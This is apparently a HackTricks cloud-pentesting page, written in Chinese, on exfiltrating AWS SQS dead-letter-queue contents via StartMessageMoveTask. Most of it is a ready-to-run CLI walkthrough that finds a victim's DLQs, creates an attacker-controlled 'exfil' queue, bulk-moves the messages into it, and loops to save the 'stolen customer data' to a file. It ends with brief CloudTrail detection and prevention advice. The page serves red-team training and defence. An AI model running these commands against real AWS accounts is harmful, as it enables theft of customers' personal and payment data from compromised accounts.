AWS – SQS DLQ Redrive 数据外泄（通过 StartMessageMoveTask）

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

描述

滥用 SQS 的 message move task，通过 sqs:StartMessageMoveTask 将受害者的 Dead-Letter Queue (DLQ) 中累计的所有消息重定向到攻击者控制的队列，以窃取数据。该技术利用了 AWS 的合法消息恢复功能来外泄随着时间在 DLQ 中累积的敏感数据。

什么是 Dead-Letter Queue (DLQ)？

Dead-Letter Queue 是一种特殊的 SQS 队列，当主应用无法成功处理消息时，消息会自动发送到该队列。这些失败的消息通常包含：

  • 无法处理的敏感应用数据
  • 错误详情和调试信息
  • 个人可识别信息 (PII)
  • API token、凭据或其他秘密
  • 业务关键的事务数据

DLQ 类似于失败消息的“墓地”，因为应用无法正确处理的敏感数据会随着时间累积，使其成为有价值的目标。

攻击场景

真实世界示例：

  1. 电商应用 通过 SQS 处理客户订单
  2. 一些订单处理失败（支付问题、库存问题等）并被移动到 DLQ
  3. DLQ 累积 了数周/数月的失败订单，包含客户数据： {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. 攻击者获取 具有 SQS 权限的 AWS 凭证
  5. 攻击者发现 DLQ 中包含数千条带有敏感数据的失败订单
  6. 攻击者不想逐条访问消息（慢且明显），而是使用 StartMessageMoveTask 将所有消息批量转移到自己的队列
  7. 攻击者一次性提取 所有历史敏感数据

前提条件

  • 源队列必须被配置为 DLQ（至少被某个队列的 RedrivePolicy 引用）。
  • IAM 权限（以被攻陷的受害者主体身份运行）：
  • 在 DLQ（源）上：sqs:StartMessageMoveTask, sqs:GetQueueAttributes。
  • 在目标队列上：允许传递消息的权限（例如，队列策略允许来自受害者主体的 sqs:SendMessage）。对同账户的目标队列这通常是默认允许的。
  • 如果启用了 SSE-KMS：在源 CMK 上需要 kms:Decrypt，在目标 CMK 上需要 kms:GenerateDataKey, kms:Encrypt。

影响

潜在影响：使用原生 SQS API 高速外泄 DLQ 中累积的敏感负载（失败事件、PII、token、应用负载）。如果目标队列策略允许来自受害者主体的 SendMessage，则可跨账户工作。

如何滥用

  • 确定受害者 DLQ 的 ARN，并确认它实际上被某个队列作为 DLQ 引用（任意队列均可）。
  • 创建或选择一个攻击者控制的目标队列并获取其 ARN。
  • 启动从受害者 DLQ 到你目标队列的 message move task。
  • 监控进度或在需要时取消任务。

CLI 示例：从电商 DLQ 外泄客户数据

场景：攻击者已攻破 AWS 凭证，发现电商应用使用 SQS 且 DLQ 中包含失败的客户订单处理尝试。

  1. 发现并检查受害者的 DLQ
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
  1. 创建由攻击者控制的目标队列
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. 执行 bulk message theft
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. 收集被窃取的敏感数据
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

跨账户说明

  • 目标队列必须有资源策略，允许受害者主体执行 sqs:SendMessage（以及在使用时的 KMS 授权/权限）。

为什么此攻击有效

  1. 合法的 AWS 功能：利用内置的 AWS 功能，使其难以被识别为恶意活动
  2. 批量操作：快速转移数千条消息，而非缓慢的逐条访问
  3. 历史数据：DLQs 会在数周/数月内积累敏感数据
  4. 不易被察觉：许多组织并不密切监控对 DLQ 的访问
  5. 支持跨账户：可以 exfiltrate 到攻击者自己的 AWS 账户（如果权限允许）

检测与防护

检测

监控 CloudTrail 是否存在可疑的 StartMessageMoveTask API 调用：

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

预防

  1. 最小特权: 限制 sqs:StartMessageMoveTask 权限，仅授予必要的角色
  2. 监控 DLQs: 为异常的 DLQ 活动设置 CloudWatch 警报
  3. 跨账户策略: 仔细审查允许跨账户访问的 SQS 队列策略
  4. 加密 DLQs: 使用 SSE-KMS 并限制密钥策略
  5. 定期清理: 不要让敏感数据在 DLQs 中无限期堆积

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks